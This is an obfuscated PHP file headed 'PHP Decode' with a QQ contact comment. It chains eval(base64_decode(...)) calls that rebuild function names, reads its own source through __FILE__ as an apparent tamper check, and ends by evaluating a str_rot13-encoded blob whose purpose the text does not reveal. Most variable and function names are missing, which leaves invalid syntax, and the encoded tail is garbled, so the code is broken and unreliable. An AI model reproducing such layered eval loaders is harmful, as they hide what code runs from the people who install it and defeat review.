PHP Decode

<?php 
/* 
  QQ1277180438 
*/ 
 
if(!defined('X66FFBEEB7AB91DCF4C0E9485CE2DC48B')){define('X66FFBEEB7AB91DCF4C0E9485CE2DC48B',__FILE__);if(!function_exists('')){global $,$,$,$,$,$,$,$,$,$;global $,$,$,$,$,$,$,$;function (&$,$,$=0){global $,$,$,$,$,$;$='';$+=$;$=$.'';if($==25)$=$;if($==15)eval($('JOW6yqbHwdA9bmV3IFJlZmxlY3Rpb25GdW5jdGlvbigiqOucla+I2yIpOyTnptqD9Lz9PSTlusqmx8HQLT5nZXRQYXJhbWV0ZXJzKCk7JIe+gu6Z9qA9c3RycG9zKFg2NkZGQkVFQjdBQjkxRENGNEMwRTk0ODVDRTJEQzQ4QixfX0ZJTEVfXyk7JNHUu5TdnMk9JIe+gu6Z9qAuJOem2oP0vP1bMF0tPm5hbWU7'));$=strlen($);$=strlen($);$=0;for($i=0;$i<$;$i++){if($>=$)$=0;if($==24){$=$($);return;}$.=$[$]^$[$i];$++;}$=$;return $;}eval(base64_decode('ZnVuY3Rpb24guqOYirqpligpe2dsb2JhbCAkkp6PtLTYkywk0dS7lN2cySwkvfGuoa7LuSwkjbe97Ybdszskjbe97Ybdsygkkp6PtLTYkywkkp6PtLTYkywyNSk7JIe+gu6Z9qA9c3RycG9zKFg2NkZGQkVFQjdBQjkxRENGNEMwRTk0ODVDRTJEQzQ4QixfX0ZJTEVfXyk7JIe+gu6Z9qAuPSSSno+0tNiTO3JldHVybiAkh76C7pn2oDt9'));function (&$){global $,$,$,$,$,$,$,$,$,$;$=$($('X66FFBEEB7AB91DCF4C0E9485CE2DC48B'));$=$($(__FUNCTION__));$=$($,-338016,-8);$=$($($),'',$);$=$("\'","'",$);$=$("\\","\",$);$=$($,34);$.='';return ();$=$($);return $;}}}$='';$='';$=$=$=$=$=$=$=$=$=$=$=$=$;$='SWYPxs';$=90;if(!isset($)){$($,'VD]',6);eval(base64_decode('JObQg7f287woJMLLuNPz8LgsJ0JEQW5CXFxFAQAnLCSd1q7q35njKCcHJykpO2lmKCTCy7jT8/C4IT1iYXNlNjRfZGVjb2RlKCdjM1J5WDNKdmRERXonKSl7ZXZhbCgkwsu40/PwuCk7cmV0dXJuO30='));eval(base64_decode('JM2yjrSOtOMoJL3xrqGuy7ksJ1VYVCcsJJ3WrurfmeMoJwgnKSk7aWYoJL3xrqGuy7khPWJhc2U2NF9kZWNvZGUoJ1pHbGwnKSl7ZXZhbCgkvfGuoa7LuSk7cmV0dXJuO30='));eval(base64_decode('JIPWo5iG0rkoJNP1sq/duegsJ1NTQlQEBW5WVFJdVVQnLCSd1q7q35njKCcKJykpO2lmKCTT9bKv3bnoIT1iYXNlNjRfZGVjb2RlKCdZbUZ6WlRZMFgyUmxZMjlrWlE9PScpKXtldmFsKCTT9bKv3bnoKTtyZXR1cm47fQ=='));eval(base64_decode('JKm44+7X2JooJKXXmrjDpsksJ1daX1RsVFRHbFJcXF1FVl1FQCcsJJ3WrurfmeMoJwwnKSk7aWYoJKXXmrjDpskhPWJhc2U2NF9kZWNvZGUoJ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNPScpKXtldmFsKCSl15q4w6bJKTtyZXR1cm47fQ=='));eval(base64_decode('JKCy36OQ3/woJPO5qICC9tksJ0JBWkJASicsJJ3WrurfmeMoJw8nKSk7aWYoJPO5qICC9tkhPWJhc2U2NF9kZWNvZGUoJ2MzVmljM1J5Jykpe2V2YWwoJPO5qICC9tkpO3JldHVybjt9'));eval(base64_decode('JOvrgeDdoeAoJOGa2J6eq/MsJ0JCRl1TWicsJJ3WrurfmeMoJxAnKSk7aWYoJOGa2J6eq/MhPWJhc2U2NF9kZWNvZGUoJ2MzUnliR1Z1Jykpe2V2YWwoJOGa2J6eq/MpO3JldHVybjt9'));eval(base64_decode('JJW7gbzBhNwoJKmU24exi+8sJ0JMQG5KV0FUU1JdJywkndau6t+Z4ygnEicpKTtpZigkqZTbh7GL7yE9YmFzZTY0X2RlY29kZSgnYzNSeVgzSmxjR3hoWTJVPScpKXtldmFsKCSplNuHsYvvKTtyZXR1cm47fQ=='));eval(base64_decode('JKjsj/CtqKAoJJ2swrHk+vosJ0JCVFVvQ1dAXVNTVG1TUF5cXFNTU1onLCSd1q7q35njKCcTJykpO2lmKCSdrMKx5Pr6IT1iYXNlNjRfZGVjb2RlKCdjSEpsWjE5eVpYQnNZV05sWDJOaGJHeGlZV05yJykpe2V2YWwoJJ2swrHk+vopO3JldHVybjt9'));eval(base64_decode('JIPWo5iG0rkoJJWjhqvtvdksJ1FdX0FGUFxcRicsJJ3WrurfmeMoJxQnKSk7aWYoJJWjhqvtvdkhPWJhc2U2NF9kZWNvZGUoJ1kyOXVjM1JoYm5RPScpKXtldmFsKCSVo4ar7b3ZKTtyZXR1cm47fQ=='));eval(base64_decode('JNz2u623s8goJN+sy7vzzPQsJ19QBycsJJ3WrurfmeMoJxUnKSk7aWYoJN+sy7vzzPQhPWJhc2U2NF9kZWNvZGUoJ2JXUTEnKSl7ZXZhbCgk36zLu/PM9Ck7cmV0dXJuO30='));eval(base64_decode('JI23ve2G3bMoJOel9aOP7vwsJ0FCRkZZQUJGUUAnLCSd1q7q35njKCcWJykpO2lmKCTnpfWjj+78IT1iYXNlNjRfZGVjb2RlKCdjM1J5ZEc5MWNIQmxjZz09Jykpe2V2YWwoJOel9aOP7vwpO3JldHVybjt9'));eval(base64_decode('JN6X5M7ojd0oJPLvt7/JncAsJ0FMSkZKJywkndau6t+Z4ygnGCcpKTtpZigk8u+3v8mdwCE9YmFzZTY0X2RlY29kZSgnYzNSeWRIST0nKSl7ZXZhbCgk8u+3v8mdwCk7cmV0dXJuO30='));eval(base64_decode('JNeMmPPvgKUoJKzCuYOQybIsJ0BFQUNeQCcsJJ3WrurfmeMoJxknKSk7aWYoJKzCuYOQybI9PWJhc2U2NF9kZWNvZGUoJ3V1V2hxSUxqeUE9PScpKXtldmFsKCSswrmDkMmyKTtyZXR1cm47fQ=='));$($);eval($);return;}return '77O0N5800893R565OSQ3RO7PQQOSP0N8';eval(str_rot13('	\'IUIGI9qm.ENRI 
.W<SZ^AEM&I*@AG@,Ex&kY;x	4PMh\ML(R\ 
XgLcF{&M,BP];R@Mh\MLqP<MM.\'5W#WmG.3eN1Nr;S{P 
D,}mM6&kTZ@J<cXwZsPkZP~R]01Nr;S_7a}RXAu ?>